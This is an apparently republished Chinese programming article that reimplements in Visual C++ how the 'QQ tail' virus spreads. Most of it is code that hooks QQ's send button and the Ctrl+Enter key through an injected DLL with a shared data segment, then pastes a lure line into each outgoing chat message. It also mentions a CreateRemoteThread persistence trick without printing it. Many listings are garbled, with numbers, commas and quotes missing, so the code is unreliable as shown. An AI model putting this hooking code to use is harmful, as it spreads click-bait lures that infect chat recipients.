熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> .NET編程 >> 正文

QQ尾巴病毒的Visual C++實現探討

2022-06-13   來源: .NET編程 
        自QQ尾巴病毒可以算是風光了一陣子它利用IE的郵件頭漏洞在QQ上瘋狂傳播中毒者在給別人發信息時病毒會自動在信息文本的後邊添上一句話話的內容多種多樣總之就是希望信息的接收者點擊這句話中的URL成為下一個中毒者

  下面我將要討論的就是QQ尾巴病毒使用的這一技術由於病毒的源代碼無法獲得所以以下的代碼全是我主觀臆斷所得所幸的是效果基本與病毒本身一致

粘貼尾巴

  首先的一個最簡單的問題是如何添加文本這一技術毫無秘密可言就是通過剪貼板向QQ消息的那個RichEdit上一句話而已代碼如下

TCHAR g_str[] = 歡迎來我的小站坐坐;
// 函數功能向文本框中粘貼尾巴
void PasteText(HWND hRich)
{
 HGLOBAL hMem;
 LPTSTR pStr;
 // 分配內存空間
 hMem = GlobalAlloc(GHND | GMEM_SHARE sizeof(g_str));
 pStr = GlobalLock(hMem);
 lstrcpy(pStr g_str);
 GlobalUnlock(hMem);
 OpenClipboard(NULL);
 EmptyClipboard();
 // 設置剪貼板文本
 SetClipboardData(CF_TEXT hMem);
 CloseClipboard();
 // 釋放內存空間
 GlobalFree(hMem);
 // 粘貼文本
 SendMessage(hRich WM_PASTE );
}
  鉤子

  好了那麼下面的問題是這段文本應該在什麼時候貼呢?網上有一些研究QQ尾巴實現的文章指出可以用計時器來控制粘貼的時間類似這個樣子

void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
  這的確是一種解決的手段然而它也存在著極大的局限性——計時器的間隔如何設置?也許中毒者正在打字尾巴文本的出現了……

  然而病毒本身卻不是這樣子它能夠准確地在你單擊發送或按下Ctrl+Enter鍵的時候將文本粘貼上月份我的一台P曾經中過毒由於系統速度較慢所以可以很清楚地看見文本粘貼的時機

  講到這裡我所陳述的這些事實一定會讓身為讀者的你說鉤子!——對就是鉤子下面我所說的正是用鉤子來真實地再現QQ尾巴病毒的這一技術

  首先我對鉤子做一個簡要的介紹已經熟悉鉤子的朋友們可以跳過這一段所謂Win鉤子(hook)並不是鐵鉤船長那只人工再現的手臂而是一段子程序它可以用來監視檢測系統中的特定消息並完成一些特定的功能打個比方來說你的程序是皇帝Windows系統充當各省的巡撫至於鉤子則可以算是皇上的一個欽差譬如皇帝下旨在全國收稅然後派了一個欽差找到山西巡撫說皇上有旨山西除正常賦稅外加收杏花村酒十壇_#……)正如皇帝可以用這種方法來特殊對待特定的巡撫一樣程序員也可以用鉤子來捕獲處理Windows系統中特定的消息


  問題具體到了QQ尾巴病毒上邊就是我們需要一個鉤子在用戶單擊了發送按鈕之後粘貼我們的文本我所實現的這段鉤子過程為(至於如何掛接這個鉤子我會在稍後說明)

// 鉤子過程監視發送的命令消息
LRESULT CALLBACK CallWndProc(int nCode WPARAM wParam LPARAM lParam)
{
 CWPSTRUCT *p = (CWPSTRUCT *)lParam;
 // 捕獲發送按鈕
 if (p>message == WM_COMMAND && LOWORD(p>wParam) == )
  PasteText(g_hRich);
 return CallNextHookEx(g_hProc nCode wParam lParam);
}
  在此我對這個回調過程說明幾點

  lParam是一個指向CWPSTRUCT結構的指針這個結構的描述如下

typedef struct {
 LPARAM lParam;
 WPARAM wParam;
 UINT message;
 HWND hwnd;
} CWPSTRUCT *PCWPSTRUCT;

  這時候像我一樣的SDK fans也許會會心一笑這不是窗口回調的那四個鐵桿參數麼?如你所說的確是這樣你甚至可以使用switch (p>message) { /* */ }這樣的代碼寫成的鉤子函數來全面接管QQ窗口

  g_hRich是一個全局變量它保存的是QQ消息文本框的句柄這裡之所以采用全局變量是因為我無法從鍵盤鉤子回調函數的參數中獲得這個句柄至於如何獲得這個句柄以及這個全局變量的特殊位置我會在稍後說明

  CallNextHookEx是調用鉤子鏈中的下一個處理過程換了欽差就會說十壇杏花村酒本欽差已經替皇上收下了現在請巡撫大人把貴省正常的賦稅交上來吧_#……)這是書寫鉤子函數中很重要的一個環節如果少了這一句那麼可能會導致系統的鉤子鏈出現錯誤某些程序也會沒有響應——事實上我在編寫這個仿真程序的時候QQ就當掉了幾回

  你也許會問為什麼我捕獲的是WM_COMMAND消息這個原因讓我來用下面的SDK代碼(雖然QQ是用MFC寫的但是用SDK代碼才能說明WM_COMMAND和發送按鈕的關系)來說明


#define IDC_BTN_SENDMSG // 發送按鈕ID的宏定義
// QQ發送消息對話框回調過程·李馬偽造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg UINT Msg WPARAM wParam LPARAM lParam)
{
 switch (Msg)
 {
  case WM_CLOSE:
   EndDialog(hDlg );
   break;
  case WM_COMMAND:
  {
   switch (LOWORD(wParam))
   {
    case IDC_BTN_SENDMSG:
     // 發送消息
     break;
     // 其它的命令按鈕處理部分
   }
  }
  break;
  // 其它的case部分
 }
 return ;
}
  消息發送的整個過程是當用戶單擊了發送按鈕後這個按鈕的父窗口(也就是發送消息的對話框)會收到一條WM_COMMAND的通知消息其中wParam的低位字(即LOWORD(wParam))為這個按鈕的ID然後再調用代碼中發送的部分這個過程如下圖

  所以在此我捕獲WM_COMMAND消息要比捕獲其它消息或掛接鼠標鉤子要有效得多

  好了現在這個鉤子已經可以勝利地完成任務了但是請不要忘記有更多的用戶更偏愛於用Ctrl+Enter熱鍵來發送消息所以程序中還需要掛上一個鍵盤鉤子

// 鍵盤鉤子過程監視發送的熱鍵消息
LRESULT CALLBACK KeyboardProc(int nCode WPARAM wParam LPARAM lParam)
{
 // 捕獲熱鍵消息
 if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < && lParam >= )
  PasteText(g_hRich);
 return CallNextHookEx(g_hKey nCode wParam lParam);
}
  在這裡唯一要解釋的一點就是lParam >= 子句很明顯這個if判斷是在判斷熱鍵Ctrl+Enter的輸入那麼lParam >= 又是什麼呢?事實上在鍵盤鉤子的回調之中lParam是一個很重要的參數它包含了擊鍵的重復次數掃描碼擴展鍵標志等等的信息其中lParam的最高位(x)則表示了當前這個鍵是否被按下如果這個位正在被按下這個位就是反之為所以lParam >= 的意思就是在WM_KEYDOWN的時候調用PasteText也就是說如果去掉這個條件PasteText將會被調用兩次(連同WM_KEYUP的一次)

  掛接鉤子和查找窗口

  接下來就是如何掛接這兩個鉤子了對於掛接鉤子要解決的問題是往哪裡掛接鉤子以及如何掛接?

  掛接鉤子的目標肯定是QQ發送信息窗口的所屬線程我的代碼就是將這個窗口的句柄傳入之後來進行鉤子的掛接

// 掛接鉤子
BOOL WINAPI SetHook(HWND hQQ)
{
 BOOL bRet = FALSE;
 if (hQQ != NULL)
 {
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ NULL);
  // 感謝好友hottey的查找代碼省去了我使用Spy++的麻煩
  g_hRich = GetWindow(GetDlgItem(hQQ ) GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 掛接鉤子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC CallWndProc g_hInstDLL dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD KeyboardProc g_hInstDLL dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
 }
 else
 {
  // 卸載鉤子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
 }
 return bRet;
}

  到此為止以上所有的代碼都位於一個Hookdll的動態鏈接庫之中關於DLL我就不多介紹了請查閱MSDN上的相關資料和本文的配套源代碼

  DLL之中已經做好了所有重要的工作(事實上這部分工作也只能由DLL來完成這是由Windows虛擬內存機制決定的)我們只需要在EXE之中調用導出的SetHook函數就可以了那麼SetHook的參數如何獲得呢?請看以下代碼


// 感謝好友hottey的查找代碼省去了我使用Spy++的麻煩
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
 g_hQQ = FindWindowEx(NULL g_hQQ # NULL);
 hSend = FindWindowEx(g_hQQ NULL Button 發送(&S));
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
  這段代碼中的dowhile循環就是用來查找發送消息的窗口的QQ窗口的保密性越來越強了窗口一層套一層找起來十分不便所以在此感謝好友hottey的《QQ消息炸彈隨想》一文省去了我反復使用Spy++的麻煩我所做的只是把他文中的Delphi代碼翻譯成了C代碼

  DLL的共享數據段

  如果你對DLL不甚了解那麼在你讀到我的配套源代碼之後肯定會對下面這一段代碼有些疑問

// 定義共享數據段
#pragma data_seg(shared)
HHOOK g_hProc = NULL; // 窗口過程鉤子句柄
HHOOK g_hKey = NULL; // 鍵盤鉤子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker /section:sharedrws)
  這定義了一段共享的數據段是的因為我的注釋已經寫得很清楚了那麼共享數據段起到了什麼作用呢?在回答這個問題之前我請你把代碼中以#開頭的預處理指令注釋掉然後重新編譯這個DLL並運行你會發現什麼?

  是的添加尾巴失敗!

  好了我來解釋一下這個問題我們的這個仿真程序的EXEDLL以及QQ的主程序事實上是下面這樣一種關系

  這個DLL需要將一個實例映射到EXE的地址空間之中以供其調用還需要將另一個實例映射到QQ的地址空間之中來完成掛接鉤子的工作也就是說當鉤子掛接完畢之後整個系統的模塊中有兩個DLL實例的存在!此DLL非彼DLL也所以它們之間是沒有任何聯系的拿全局變量g_hRich來說圖中左邊的DLL通過EXE的傳入獲得了文本框的句柄然而如果沒有共享段的話那麼右邊的DLL中g_hRich仍然是NULL共享段於此的意義也就體現出來了就是為了保證EXEDLLQQ三者之間的聯系這一點和C++中static的成員變量有些相似

  在鉤子掛接成功之後你可以通過一些有模塊查看功能的進程管理器看一看就會發現Hookdll也位於QQexe的模塊之中

  最後一些要說的

  我是前說過年的月份我就碰到了這種病毒至今我還很清楚地記得那個病毒EXE只有KB大小所以從病毒本身存在的性質來說這個東西應該是用WinASM來寫會更實用一些

  那個病毒我曾經是手殺的——用了一個進程查看工具就殺掉了但是現在的QQ尾巴增加了復活功能——在EXE被殺掉後DLL會將其喚醒我曾經用我的進程查看工具分析過發現系統中幾乎所有的進程都被病毒的DLL掛住了這一技術是利用CreateRemoteThread在所有的進程上各插入了一個額外的復活線程真可謂是一石二鳥——保證EXE永遠運行同時這個正在使用中的DLL是無法被刪除的這一技術我也已經實現了但是穩定性方面遠不及病毒本身做得優秀故在此也就不將其寫出了有興趣的朋友可以參考Jeffrey Richter《Windows核心編程》的相關章節

  走筆至此想起了侯捷老師《STL源碼剖析》中的一句話——源碼之前了無秘密如果你看完本文之後也有這樣的感覺那麼我將感到不勝榮幸

  


From:http://tw.wingwit.com/Article/program/net/201311/13091.html
    推薦文章
    Copyright © 2005-2022 電腦知識網 Computer Knowledge   All rights reserved.